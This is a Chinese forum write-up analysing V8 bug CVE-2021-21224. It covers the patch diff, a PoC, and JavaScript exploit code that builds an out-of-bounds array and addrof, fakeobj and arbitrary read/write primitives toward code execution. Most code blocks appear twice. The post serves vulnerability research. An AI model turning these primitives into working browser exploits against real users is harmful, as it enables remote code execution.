首页
社区
课程
招聘
[原创]CVE-2021-21224分析笔记
发表于: 2021-8-5 14:18 16935

[原创]CVE-2021-21224分析笔记

2021-8-5 14:18
16935

CVE-2021-21224/issue 1195777tr0y4师傅在今年四月份提交的漏洞,此漏洞发生于Simplified Lowering阶段的RepresentationChanger::GetWord32RepresentationFor函数中,是一个平平无奇的整数溢出。但是和CVE-2020-15965CVE-2020-16040CVE-2021-21220相似的是,此漏洞同样可以通过Array.prototype.shift()方法来构造一个长度为-1(0xFFFF_FFFF)的数组,凭借这个强大的越界数组我们可以很轻松的实现RCE


根据commit来回退版本:

回归测试里面给出的poc有点长,我稍微精简了一下,不过效果是一样的:

运行结果:

Patch位于RepresentationChanger::GetWord32RepresentationFor函数,该函数根据输入结点的Representationfeedback_type来选择合适的方法将输入结点的输出截断为MachineRepresentation::kWord32Patch的内容比较简单,当(output_rep == MachineRepresentation::kWord64)output_type.Is(Type::Unsigned32()二者都成立的时候,增加了一项校验use_info.type_check() == TypeCheckKind::kNone,只有当三者全部成立的时候才会更新op的值,从而在当前结点和输入结点之间插入TruncateInt64ToInt32结点来将输入结点的输出截断为MachineRepresentation::kWord32output_rep为输入结点的Representationoutput_type为输入结点的feedback_typeuse_info则为当前结点后继节点的使用信息,use_info.type_check()表示后继节点的数值类型,为TypeCheckKind::kNone则为无符号,为TypeCheckKind::kSignedSmall则为有符号。
在这里下断点看一下:

根据堆栈信息可知漏洞发生于Simplified loweringLOWER阶段,此阶段将结点降级或者插入转换结点,加上--trace-representation参数在相同的地方断下来。

此时正在处理#41结点的输入结点#56,根据我们对源码的分析,这两个结点之间会插入一个TruncateInt64ToInt32结点,看一下Simplified lowering阶段的IR图:

因为#72结点的存在,Math.max函数的返回值会被截断为32位;又因为后继结点的类型为有符号数TypeCheckKind::kSignedSmall,所以如果截断后的返回值正好使用了符号位(诸如0xFFFF_FFFF转换为二进制为1111 1111 1111 1111 1111 1111 1111 1111,最高位为1),那么就会发生整数下溢(诸如Math.max(0, 0xFFFF_FFFF)返回值为-1)。

zer0con2021上讲解了Array.prototype.shift()相关的Trick,可以通过整数溢出来构造一个长度为-1(0xFFFF_FFFF)的数组。但是我们必须满足两个条件:

此时的Range如下:

返回值也已经变成了1,现在已经符合Array.prototype.shift() Trick的利用条件了,我们编写如下的poc

可以看到数组长度被修改成了-1(0xFFFFFFFE)


现在我们已经可以修改点什么东西了,在vuln_array后面再放置一个Double数组,接着修改他的length

vuln_array[16]是调试算出来的偏移,正好是oob_arraylength所在,现在我们获得了一个可以进行8字节越界读写的浮点数组:

回忆一下oob_arrayvuln_array的内存布局:

之前我们通过vuln_array[16]修改了oob_array的长度,除此之外,我们还可以通过oob_arrayvuln_array来构造出addroffakeobj原语。首先构造addrof

vuln_array[7]指向的地方正好是oob_array[0]的低四字节,我们将obj写入其中。之后通过oob_array[0]将八字节长度的值读出来,高四字节全部置零之后就是obj的值了。接着是fakeobj

addrof的原理是一样的,最终将oob_array[0]中的值当作一个对象指针返回。

我们现在有了OOBaddroffakeobj三个原语,足够实现更加强大的任意地址读写了。

oob_array[3]保存的是oob_array本身的mapproperties,利用他们俩我们可以构造一个elementslength都完全由我们控制的数组,诸如point_array的内存布局:

point_array[0]中就是我们复制来的mapproperties,如果用fakeobj原语把point_array[0]当作是一个对象来返回,那么point_array[1]中的值就是elementslength,既然我们可以任意的改写point_array[1],也就意味着我们可以将任意length长度的数据写到elements指向的地方,具体实现如下:

完整代码如下,我们随便写一个地址测试一下原语是否可用:

windbg里面看一下,发现目标地址的值已经被成功修改了

这一步还是常规的WASM实现任意代码执行:

结果演示如下:

 
git reset --hard 720176a523544721973a8ceba89e9c7af9405963
gclient sync -D
python tools\dev\v8gen.py x64.debug
python tools\dev\gm.py x64.debug d8
python tools\dev\v8gen.py x64.release
python tools\dev\gm.py x64.release d8
git reset --hard 720176a523544721973a8ceba89e9c7af9405963
gclient sync -D
python tools\dev\v8gen.py x64.debug
python tools\dev\gm.py x64.debug d8
python tools\dev\v8gen.py x64.release
python tools\dev\gm.py x64.release d8
function foo(b) {
let x = -1;
if (b) x = 0xFFFF_FFFF;
 
return -1 < Math.max(0, x);
}
 
console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
%SystemBreak();
console.log(foo(true));
function foo(b) {
let x = -1;
if (b) x = 0xFFFF_FFFF;
 
return -1 < Math.max(0, x);
}
 
console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
%SystemBreak();
console.log(foo(true));
diff --git a/src/compiler/representation-change.cc b/src/compiler/representation-change.cc
index 64b274c..3d937ad 100644
--- a/src/compiler/representation-change.cc
+++ b/src/compiler/representation-change.cc
@@ -949,10 +949,10 @@
return node;
} else if (output_rep == MachineRepresentation::kWord64) {
if (output_type.Is(Type::Signed32()) ||
-        output_type.Is(Type::Unsigned32())) {
-      op = machine()->TruncateInt64ToInt32();
-    } else if (output_type.Is(cache_->kSafeInteger) &&
-               use_info.truncation().IsUsedAsWord32()) {
+        (output_type.Is(Type::Unsigned32()) &&
+         use_info.type_check() == TypeCheckKind::kNone) ||
+        (output_type.Is(cache_->kSafeInteger) &&
+         use_info.truncation().IsUsedAsWord32())) {
op = machine()->TruncateInt64ToInt32();
} else if (use_info.type_check() == TypeCheckKind::kSignedSmall ||
use_info.type_check() == TypeCheckKind::kSigned32 ||
diff --git a/src/compiler/representation-change.cc b/src/compiler/representation-change.cc
index 64b274c..3d937ad 100644
--- a/src/compiler/representation-change.cc
+++ b/src/compiler/representation-change.cc
@@ -949,10 +949,10 @@
return node;
} else if (output_rep == MachineRepresentation::kWord64) {
if (output_type.Is(Type::Signed32()) ||
-        output_type.Is(Type::Unsigned32())) {
-      op = machine()->TruncateInt64ToInt32();
-    } else if (output_type.Is(cache_->kSafeInteger) &&
-               use_info.truncation().IsUsedAsWord32()) {
+        (output_type.Is(Type::Unsigned32()) &&
+         use_info.type_check() == TypeCheckKind::kNone) ||
+        (output_type.Is(cache_->kSafeInteger) &&
+         use_info.truncation().IsUsedAsWord32())) {
op = machine()->TruncateInt64ToInt32();
} else if (use_info.type_check() == TypeCheckKind::kSignedSmall ||
use_info.type_check() == TypeCheckKind::kSigned32 ||
visit #41: SpeculativeNumberLessThan
change: #41:SpeculativeNumberLessThan(@0 #14:NumberConstant) from kRepTaggedSigned to kRepWord32:no-truncation (but identify zeros)
change: #41:SpeculativeNumberLessThan(@1 #56:Select) from kRepWord64 to kRepWord32:no-truncation (but identify zeros)
visit #41: SpeculativeNumberLessThan
change: #41:SpeculativeNumberLessThan(@0 #14:NumberConstant) from kRepTaggedSigned to kRepWord32:no-truncation (but identify zeros)
change: #41:SpeculativeNumberLessThan(@1 #56:Select) from kRepWord64 to kRepWord32:no-truncation (but identify zeros)
function foo(flag) {
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let z = 0 - Math.max(0, x);
 
return z;
}
 
console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
//%SystemBreak();
console.log(foo(true));
function foo(flag) {
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let z = 0 - Math.max(0, x);
 
return z;
}
 
console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
//%SystemBreak();
console.log(foo(true));
function foo(flag) {
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
 
let vuln_array = new Array(len);
vuln_array.shift();
%DebugPrint(vuln_array);
%SystemBreak();
return vuln_array;
}
 
%PrepareFunctionForOptimization(foo);
console.log("[+] run as builtin: " + "vuln_array.length == " + foo(false).length);
%OptimizeFunctionOnNextCall(foo);
console.log("[+] run as builtin: " + "vuln_array.length == " + foo(true).length);
function foo(flag) {
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
 
let vuln_array = new Array(len);
vuln_array.shift();
%DebugPrint(vuln_array);
%SystemBreak();
return vuln_array;
}
 
%PrepareFunctionForOptimization(foo);
console.log("[+] run as builtin: " + "vuln_array.length == " + foo(false).length);
%OptimizeFunctionOnNextCall(foo);
console.log("[+] run as builtin: " + "vuln_array.length == " + foo(true).length);
function hex(a) {
return a.toString(16);
}
 
function foo(flag) {
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
 
let vuln_array = new Array(len);
vuln_array.shift();
let oob_array = [1.1, 1.2, 1.3];
//if (flag) %SystemBreak();
return [vuln_array, oob_array];
}
 
function confusion_to_oob() {
console.log("[+] convert confusion to oob......");
// 触发JIT
for (let i=0; i<0xc00c; i++) {foo(false);}   
//
[vuln_array, oob_array] = foo(true);
vuln_array[16] = 0xc00c;
 
console.log("    oob_array.length: " + hex(oob_array.length));
}
 
confusion_to_oob();
function hex(a) {
return a.toString(16);
}
 
function foo(flag) {
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
 
let vuln_array = new Array(len);
vuln_array.shift();
let oob_array = [1.1, 1.2, 1.3];
//if (flag) %SystemBreak();
return [vuln_array, oob_array];
}
 
function confusion_to_oob() {
console.log("[+] convert confusion to oob......");
// 触发JIT
for (let i=0; i<0xc00c; i++) {foo(false);}   
//
[vuln_array, oob_array] = foo(true);
vuln_array[16] = 0xc00c;
 
console.log("    oob_array.length: " + hex(oob_array.length));
}
 
confusion_to_oob();
function addrof(obj) {
vuln_array[7] = obj;
 
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;
}
function addrof(obj) {
vuln_array[7] = obj;
 
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;
}
function fakeobj(addr) {
oob_array[0] = helper.i2f(addr);
 
return vuln_array[7];
}
function fakeobj(addr) {
oob_array[0] = helper.i2f(addr);
 
return vuln_array[7];
}
function get_arw() {
console.log("[+] get absolute read/write access......");
 
let oob_array_map_and_properties = helper.f2i(oob_array[3]);
let point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];
fake = fakeobj(addrof(point_array) - 0x20n);
%DebugPrint(point_array);
%SystemBreak();
}
function get_arw() {
console.log("[+] get absolute read/write access......");
 
let oob_array_map_and_properties = helper.f2i(oob_array[3]);
let point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];
fake = fakeobj(addrof(point_array) - 0x20n);
%DebugPrint(point_array);
%SystemBreak();
}
function arb_read(addr) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
return fake[0];
}
 
function arb_write(addr, val) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
fake[0] = helper.i2f(BigInt(val));
}
function arb_read(addr) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
return fake[0];
}
 
function arb_write(addr, val) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
fake[0] = helper.i2f(BigInt(val));
}
// 用来实现类型转换
class Helpers {
constructor() {
this.buf =new ArrayBuffer(16);
this.uint32 = new Uint32Array(this.buf);
this.float64 = new Float64Array(this.buf);
this.big_uint64 = new BigUint64Array(this.buf);
}
 
// float-->uint
f2i(f)
{
this.float64[0] = f;
return this.big_uint64[0];
}
// uint-->float
i2f(i)
{
this.big_uint64[0] = i;
return this.float64[0];
}
// 64-->32
f2half(val)
{
this.float64[0]= val;
let tmp = Array.from(this.uint32);
return tmp;
}
// 32-->64
half2f(val)
{
this.uint32.set(val);
return this.float64[0];
}
 
hex(a) {
return "0x" + a.toString(16);
}
 
gc() { for(let i = 0; i < 100; i++) { new ArrayBuffer(0x1000000); } }
}
 
function foo(flag) {
// 触发漏洞,使得len==1Range为(-4294967295, 0)
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
// 利用array.shift()来构造出长度为-1(0xFFFFFFFE)的数组
let vuln_array = new Array(len);
vuln_array.shift();
 
let oob_array = [1.1, 1.2, 1.3];
 
if (flag) {
%DebugPrint(oob_array);
//%SystemBreak();
}
return [vuln_array, oob_array];
}
 
function confusion_to_oob() {
console.log("[+] convert confusion to oob......");
// 触发JIT
for (let i=0; i<0x10000; i++) {foo(false);}   
// gc
helper.gc();
// 修改oob_array的length
[vuln_array, oob_array] = foo(true);
vuln_array[16] = 0xc00c;
 
console.log("    oob_array.length: " + helper.hex(oob_array.length));
}
 
function addrof(obj) {
vuln_array[7] = obj;
 
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;
}
 
function fakeobj(addr) {
oob_array[0] = helper.i2f(addr);
 
return vuln_array[7];
}
 
function get_arw() {
console.log("[+] get absolute read/write access......");
 
let oob_array_map_and_properties = helper.f2i(oob_array[3]);
point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];
fake = fakeobj(addrof(point_array) - 0x20n);
}
 
function arb_read(addr) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
return fake[0];
}
 
function arb_write(addr, val) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
fake[0] = helper.i2f(BigInt(val));
}
 
function exp() {
helper = new Helpers();
 
confusion_to_oob();
get_arw();
 
arb_write(addrof(oob_array), 0xFFFFFFFFFFFFFFFn);
%SystemBreak();
}
 
exp();
// 用来实现类型转换
class Helpers {
constructor() {
this.buf =new ArrayBuffer(16);
this.uint32 = new Uint32Array(this.buf);
this.float64 = new Float64Array(this.buf);
this.big_uint64 = new BigUint64Array(this.buf);
}
 
// float-->uint
f2i(f)
{
this.float64[0] = f;
return this.big_uint64[0];
}
// uint-->float
i2f(i)
{
this.big_uint64[0] = i;
return this.float64[0];
}
// 64-->32
f2half(val)
{
this.float64[0]= val;
let tmp = Array.from(this.uint32);
return tmp;
}
// 32-->64
half2f(val)
{
this.uint32.set(val);
return this.float64[0];
}
 
hex(a) {
return "0x" + a.toString(16);
}
 
gc() { for(let i = 0; i < 100; i++) { new ArrayBuffer(0x1000000); } }
}
 
function foo(flag) {
// 触发漏洞,使得len==1Range为(-4294967295, 0)
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
// 利用array.shift()来构造出长度为-1(0xFFFFFFFE)的数组
let vuln_array = new Array(len);
vuln_array.shift();
 
let oob_array = [1.1, 1.2, 1.3];
 
if (flag) {
%DebugPrint(oob_array);
//%SystemBreak();
}
return [vuln_array, oob_array];
}
 
function confusion_to_oob() {
console.log("[+] convert confusion to oob......");
// 触发JIT
for (let i=0; i<0x10000; i++) {foo(false);}   
// gc
helper.gc();
// 修改oob_array的length
[vuln_array, oob_array] = foo(true);
vuln_array[16] = 0xc00c;
 
console.log("    oob_array.length: " + helper.hex(oob_array.length));

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2021-8-5 14:30 被0x2l编辑 ,原因:
收藏
免费 6
支持
分享
最新回复 (9)
雪    币: 7
活跃值: (4331)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
2
很早之前的一篇笔记,大概梳理了一遍发出来了。如果文中还有错误,欢迎师傅们指出!
2021-8-5 14:23
0
雪    币: 14517
活跃值: (17538)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
3
感谢分享,我有些好奇版主是不是可以自己把自己的文章设置为精华?
2021-8-6 09:52
0
雪    币: 15187
活跃值: (16852)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
4
pureGavin 感谢分享,我有些好奇版主是不是可以自己把自己的文章设置为精华?
哈哈哈哈,是可以的
2021-8-6 10:00
0
雪    币: 5317
活跃值: (3318)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
5
居然和我研究同一个洞,发的时间还重了,早知我就不发了。。。
2021-8-6 19:09
0
雪    币: 5317
活跃值: (3318)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
6
所以如果截断后的返回值正好使用了符号位(诸如0xFFFF_FFFF转换为二进制为1111 1111 1111 1111 1111 1111 1111 1111,最高位为1),那么就会发生整数下溢(诸如Math.max(0, 0xFFFF_FFFF)返回值为-1)。   这个怎么解释,实在有点不懂
2021-8-6 19:12
0
雪    币: 7
活跃值: (4331)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
7
苏啊树 所以如果截断后的返回值正好使用了符号位(诸如0xFFFF_FFFF转换为二进制为1111 1111 1111 1111 1111 1111 1111 1111,最高位为1),那么就会发生整数下溢(诸如 ...
被截断之后的值进行的是有符号数的运算,也就是说二进制格式的最高一位是表示正负的。如果截断之后的32位数值正好占用了最高的符号位,就会被当成是一个负数(即-1)。
2021-8-6 22:32
0
雪    币: 870
活跃值: (2264)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
2021-8-7 07:17
1
雪    币: 549
活跃值: (2990)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
9
膜师傅!
2021-8-9 16:34
0
雪    币: 7
活跃值: (4331)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
10
Ring3 膜师傅!
猪比
2021-8-12 15:26
0
游客
登录 | 注册 方可回帖
返回
//